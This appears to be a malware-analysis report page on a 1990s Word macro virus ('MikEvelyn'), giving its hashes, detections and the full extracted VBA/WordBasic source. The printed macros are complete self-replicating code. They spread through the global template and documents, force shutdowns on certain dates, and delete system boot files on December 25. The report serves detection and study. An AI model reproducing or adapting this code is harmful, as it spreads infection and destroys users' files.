Legacy.Trojan.Agent-659 — Office (OLE) malware analysis

Static analysis result for SHA-256 ae097dc5eb5421b7…

MALICIOUS

Office (OLE)

36.0 KB Created: 1998-10-01 08:34:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 49e69bb7ecf6cab02cc5823a1965d687 SHA-1: 3986b80344c779ea6c0fc347408fb85e0bd5c08d SHA-256: ae097dc5eb5421b7127ffc0adae08fb1839fcc7b2fc907f5c9d0487c1bf32501
196 Risk Score

Malware Insights

Legacy.Trojan.Agent-659 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen and AutoClose, indicating an attempt to infect the global template. The script explicitly copies various macros, including AutoOpen and AutoClose, to the global template, suggesting an attempt to establish persistence and spread. The ClamAV detection of 'Legacy.Trojan.Agent-659' further supports the malicious nature of the file.

Heuristics 5

  • ClamAV: Legacy.Trojan.Agent-659 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-659
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
        WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen", 1
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Global:AutoClose", 1

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3471 bytes
SHA-256: 1cdc303f8486e88493fc4b9b3c06a0217c2d7d1b0743a23e055022c967d81616
Detection
ClamAV: Legacy.Trojan.Agent-659
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MikEvelyn"

Public Sub MAIN()
Dim vinstalled
Dim i
Dim inp$
vinstalled = 0
For i = 1 To WordBasic.CountMacros(0, 0)
    If WordBasic.[MacroName$](i, 0, 0) = "MikEvelyn" Then
        vinstalled = 1
    End If
Next i

If vinstalled = 1 Then
    GoTo finish1
Else
    On Error Resume Next
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoNew", "Global:AutoNew", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Global:AutoClose", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoSave", "Global:AutoSave", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoExec", "Global:AutoExec", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":ToolsMacro", "Global:ToolsMacro", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":MikEvelyn", "Global:MikEvelyn", 1
End If
finish1:
vinstalled = 0
On Error GoTo -1: On Error GoTo finish2

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 0) = "MikEvelyn" Then
        vinstalled = 1
    End If
Next i

If vinstalled = 1 Then
    GoTo finish2
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 1
    WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew", 1
    WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose", 1
    WordBasic.MacroCopy "Global:AutoSave", WordBasic.[FileName$]() + ":AutoSave", 1
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[FileName$]() + ":AutoExec", 1
    WordBasic.MacroCopy "Global:ToolsMacro", WordBasic.[FileName$]() + ":ToolsMacro", 1
    WordBasic.MacroCopy "Global:MikEvelyn", WordBasic.[FileName$]() + ":MikEvelyn", 1
    WordBasic.FileSaveAll 1, 0
End If
finish2:

If WordBasic.Month(WordBasic.Now()) = 1 And WordBasic.Day(WordBasic.Now()) = 4 Then
inp$ = WordBasic.[InputBox$]("Type Happy Anniversary MikEvelyn", "MikEvelyn")
    If inp$ <> "Happy Anniversary MikEvelyn" Then
        WordBasic.ExitWindows
    End If
End If
If WordBasic.Month(WordBasic.Now()) = 5 And WordBasic.Day(WordBasic.Now()) = 31 Then
inp$ = WordBasic.[InputBox$]("Type Happy Birthday Edison", "Edison")
    If inp$ <> "Happy Birthday Edison" Then
        WordBasic.ExitWindows
    End If
End If
If WordBasic.Month(WordBasic.Now()) = 12 And WordBasic.Day(WordBasic.Now()) = 25 Then
    On Error Resume Next
    WordBasic.Kill "c:\autoexec.bat"
    WordBasic.Kill "c:\config.sys"
    WordBasic.Kill "c:\command.com"
    WordBasic.MsgBox "Do you know that Christmas is a PAGAN PRACTICE?"
End If


End Sub

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
WordBasic.Call "MikEvelyn"
End Sub

Attribute VB_Name = "AutoSave"

Public Sub MAIN()
WordBasic.Call "MikEvelyn"
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
WordBasic.Call "MikEvelyn"
End Sub

Attribute VB_Name = "AutoExec"

Public Sub MAIN()
WordBasic.Call "MikEvelyn"
End Sub

Attribute VB_Name = "AutoNew"

Public Sub MAIN()
WordBasic.Call "MikEvelyn"
End Sub